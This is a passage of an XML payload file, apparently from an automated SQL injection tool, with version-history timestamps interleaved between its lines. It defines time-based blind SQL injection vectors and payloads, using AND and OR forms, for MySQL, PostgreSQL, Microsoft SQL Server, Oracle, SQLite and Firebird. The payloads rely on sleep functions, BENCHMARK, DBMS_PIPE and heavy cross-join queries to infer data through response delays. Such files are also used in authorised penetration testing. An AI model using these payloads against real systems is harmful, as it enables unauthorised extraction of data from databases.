<vector > AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)</vector>
2010-12-06 22:11:05 +03:00
<request >
2010-12-07 15:45:45 +03:00
<payload > AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)</payload>
2010-12-06 22:11:05 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-12-06 22:11:05 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > Microsoft SQL Server</dbms>
2010-12-06 22:11:05 +03:00
</details>
</test>
2010-12-07 03:51:14 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > Oracle AND time-based blind</title>
2010-12-07 03:51:14 +03:00
<stype > 5</stype>
<level > 1</level>
<risk > 1</risk>
<clause > 1,2,3</clause>
<where > 1</where>
2010-12-07 15:45:45 +03:00
<vector > AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
2010-12-07 03:51:14 +03:00
<request >
2010-12-07 15:45:45 +03:00
<payload > AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME])</payload>
2010-12-07 03:51:14 +03:00
</request>
<response >
2010-12-07 15:45:45 +03:00
<time > [SLEEPTIME]</time>
2010-12-07 03:51:14 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > Oracle</dbms>
2010-12-07 03:51:14 +03:00
</details>
</test>
2010-12-06 22:11:05 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > Oracle AND time-based blind (heavy query)</title>
2010-12-06 22:11:05 +03:00
<stype > 5</stype>
<level > 2</level>
<risk > 1</risk>
<clause > 1,2,3</clause>
<where > 1</where>
2010-12-07 15:45:45 +03:00
<vector > AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
2010-12-06 22:11:05 +03:00
<request >
2010-12-07 15:52:09 +03:00
<payload > AND [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
2010-12-06 22:11:05 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-12-06 22:11:05 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > Oracle</dbms>
2010-12-06 22:11:05 +03:00
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > SQLite > 2.0 AND time-based blind (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 5</stype>
<level > 3</level>
<risk > 1</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-07 16:24:18 +03:00
<vector > AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 16:24:18 +03:00
<payload > AND [RANDNUM]=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > SQLite</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<test >
2010-12-06 22:11:05 +03:00
<title > Firebird AND time-based blind (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 5</stype>
<level > 4</level>
<risk > 1</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-07 15:55:31 +03:00
<vector > AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6),[RANDNUM])</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 15:20:48 +03:00
<payload > AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Firebird</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
<!-- End of AND time - based blind tests -->
<!-- OR time - based blind tests -->
<test >
<title > MySQL > 5.0.11 OR time-based blind</title>
<stype > 5</stype>
<level > 2</level>
<risk > 3</risk>
2010-12-03 15:00:03 +03:00
<clause > 1,2,3</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-03 19:12:47 +03:00
<vector > OR IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME]))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 03:31:46 +03:00
<payload > OR SLEEP([SLEEPTIME])=0</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
<time > [SLEEPTIME]</time>
</response>
<details >
<dbms > MySQL</dbms>
<dbms_version > > 5.0.11</dbms_version>
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > MySQL < 5.0.12 OR time-based blind (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 5</stype>
<level > 3</level>
<risk > 3</risk>
2010-12-03 15:00:03 +03:00
<clause > 1,2,3</clause>
2010-12-05 15:23:18 +03:00
<where > 2</where>
2010-12-07 16:24:18 +03:00
<vector > OR IF(([INFERENCE]), [RANDNUM], BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 16:24:18 +03:00
<payload > OR BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > MySQL</dbms>
</details>
</test>
2010-12-07 16:24:18 +03:00
2010-12-07 02:05:53 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > PostgreSQL OR time-based blind (heavy query)</title>
2010-12-07 02:05:53 +03:00
<stype > 5</stype>
<level > 3</level>
<risk > 3</risk>
<clause > 1,2,3</clause>
<where > 2</where>
2010-12-07 16:24:18 +03:00
<vector > OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
2010-12-07 02:05:53 +03:00
<request >
2010-12-07 16:24:18 +03:00
<payload > OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000))</payload>
2010-12-07 02:05:53 +03:00
</request>
<response >
2010-12-07 15:45:45 +03:00
<time > [DELAYED]</time>
2010-12-07 02:05:53 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > PostgreSQL</dbms>
2010-12-07 02:05:53 +03:00
</details>
</test>
2010-11-28 21:10:54 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > Microsoft SQL Server/Sybase OR time-based blind (heavy query)</title>
2010-12-06 22:11:05 +03:00
<stype > 5</stype>
<level > 3</level>
2010-12-07 15:45:45 +03:00
<risk > 3</risk>
2010-12-06 22:11:05 +03:00
<clause > 1,2,3</clause>
<where > 2</where>
2010-12-07 15:45:45 +03:00
<vector > OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)</vector>
2010-12-06 22:11:05 +03:00
<request >
2010-12-07 15:45:45 +03:00
<payload > OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)</payload>
2010-12-06 22:11:05 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-12-06 22:11:05 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > Microsoft SQL Server</dbms>
2010-12-06 22:11:05 +03:00
</details>
</test>
2010-12-07 03:51:14 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > Oracle OR time-based blind</title>
2010-12-07 03:51:14 +03:00
<stype > 5</stype>
<level > 3</level>
<risk > 3</risk>
<clause > 1,2,3</clause>
<where > 2</where>
2010-12-07 15:45:45 +03:00
<vector > OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)</vector>
2010-12-07 03:51:14 +03:00
<request >
2010-12-07 15:45:45 +03:00
<payload > OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])</payload>
2010-12-07 03:51:14 +03:00
</request>
<response >
2010-12-07 15:45:45 +03:00
<time > [SLEEPTIME]</time>
2010-12-07 03:51:14 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > Oracle</dbms>
2010-12-07 03:51:14 +03:00
</details>
</test>
2010-12-06 22:11:05 +03:00
<test >
2010-12-07 15:45:45 +03:00
<title > Oracle OR time-based blind (heavy query)</title>
2010-12-06 22:11:05 +03:00
<stype > 5</stype>
<level > 3</level>
2010-12-07 15:45:45 +03:00
<risk > 4</risk>
2010-12-06 22:11:05 +03:00
<clause > 1,2,3</clause>
<where > 2</where>
2010-12-07 15:45:45 +03:00
<vector > OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
2010-12-06 22:11:05 +03:00
<request >
2010-12-07 15:45:45 +03:00
<payload > OR [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
2010-12-06 22:11:05 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-12-06 22:11:05 +03:00
</response>
<details >
2010-12-07 15:45:45 +03:00
<dbms > Oracle</dbms>
2010-12-06 22:11:05 +03:00
</details>
</test>
<test >
2010-12-07 15:45:45 +03:00
<title > SQLite > 2.0 OR time-based blind (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 5</stype>
<level > 4</level>
<risk > 3</risk>
<clause > 1</clause>
<where > 1</where>
2010-12-07 16:24:18 +03:00
<vector > OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 16:24:18 +03:00
<payload > OR [RANDNUM]=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > SQLite</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<test >
2010-12-06 22:11:05 +03:00
<title > Firebird OR time-based blind (heavy query)</title>
2010-11-28 21:10:54 +03:00
<stype > 5</stype>
<level > 5</level>
<risk > 3</risk>
<clause > 1</clause>
2010-12-03 15:15:41 +03:00
<where > 2</where>
2010-12-07 15:55:31 +03:00
<vector > OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6),[RANDNUM])</vector>
2010-11-28 21:10:54 +03:00
<request >
2010-12-07 15:20:48 +03:00
<payload > OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6)</payload>
2010-11-28 21:10:54 +03:00
</request>
<response >
2010-12-07 03:27:26 +03:00
<time > [DELAYED]</time>
2010-11-28 21:10:54 +03:00
</response>
<details >
<dbms > Firebird</dbms>
<dbms_version > > 2.0</dbms_version>
</details>
</test>
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
<!-- End of OR time - based blind tests -->
</root>